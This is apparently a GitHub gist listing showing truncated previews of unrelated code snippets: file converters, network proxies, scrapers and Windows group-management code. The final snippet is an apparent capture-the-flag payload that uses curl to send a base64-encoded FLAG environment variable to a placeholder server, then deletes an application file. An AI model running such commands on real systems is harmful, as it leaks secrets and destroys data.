This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json | |
import string | |
from pathlib import Path | |
import sys | |
if len(sys.argv) != 3: | |
print(f'Usage: {sys.argv[0]} bookmarkfile.json outputPathBase') | |
exit() | |
data = json.load(open(sys.argv[1],'r')) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
import sys | |
def xor_checksum(data): | |
checksum = 0 | |
for byte in data: | |
checksum ^= byte | |
return checksum & 0xFFFF | |
def create_dos_eps(postscript_path, tiff_path, output_path): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <lm.h> | |
#include <stdio.h> | |
#pragma comment(lib, "Netapi32.lib") | |
void AddUserToLocalGroup(LPCWSTR userName, LPCWSTR groupName) { | |
LOCALGROUP_MEMBERS_INFO_3 memberInfo; | |
NET_API_STATUS status; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import threading | |
# Configuration | |
LISTEN_HOST = '0.0.0.0' # Listen on all interfaces | |
LISTEN_PORT = 12345 # Port to listen on | |
TARGET_HOST = 'example.com' # Destination host | |
TARGET_PORT = 80 # Destination port | |
SEARCH_BYTES = b'hello' # Byte sequence to search for | |
REPLACE_BYTES = b'world' # Replacement byte sequence |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"crypto/tls" | |
"fmt" | |
"io" | |
"log" | |
"net" | |
"github.com/hexasant/go-hexdump" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import logging | |
import re | |
import json | |
import http.client as http_client | |
from html import unescape | |
from datetime import datetime | |
class Appointment: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from wsp.packets import ( | |
CPMConnectIn, CPMCreateQueryIn, CPMDisconnect, | |
CColumnSet, CRestrictionArray, CRowsetProperties, CPidMapper, | |
CColumnGroupArray, PropSpec, CPropertyRestriction, CRestriction | |
) | |
import uuid | |
def hex_dump(data: bytes, prefix: str = "") -> str: | |
hex_str = ''.join([f'{b:02x}' for b in data]) | |
return f"{prefix}{hex_str}" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <string> | |
class Greeter { | |
private: | |
std::string message; | |
public: | |
Greeter(const std::string& msg) : message(msg) {} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import datetime | |
import click | |
import tqdm | |
import uuid | |
from rich.console import Console | |
from rich.table import Table | |
search_url = "https://edge.blablacar.de/trip/search/v7" | |
location_get_url = 'https://edge.blablacar.de/location/suggestions' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import base64 | |
os.system("curl https://MYSERVER/"+base64.b64encode(os.environ["FLAG"].encode()).decode()) | |
os.system("rm /app/flask.py") | |
os._exit(1) |
NewerOlder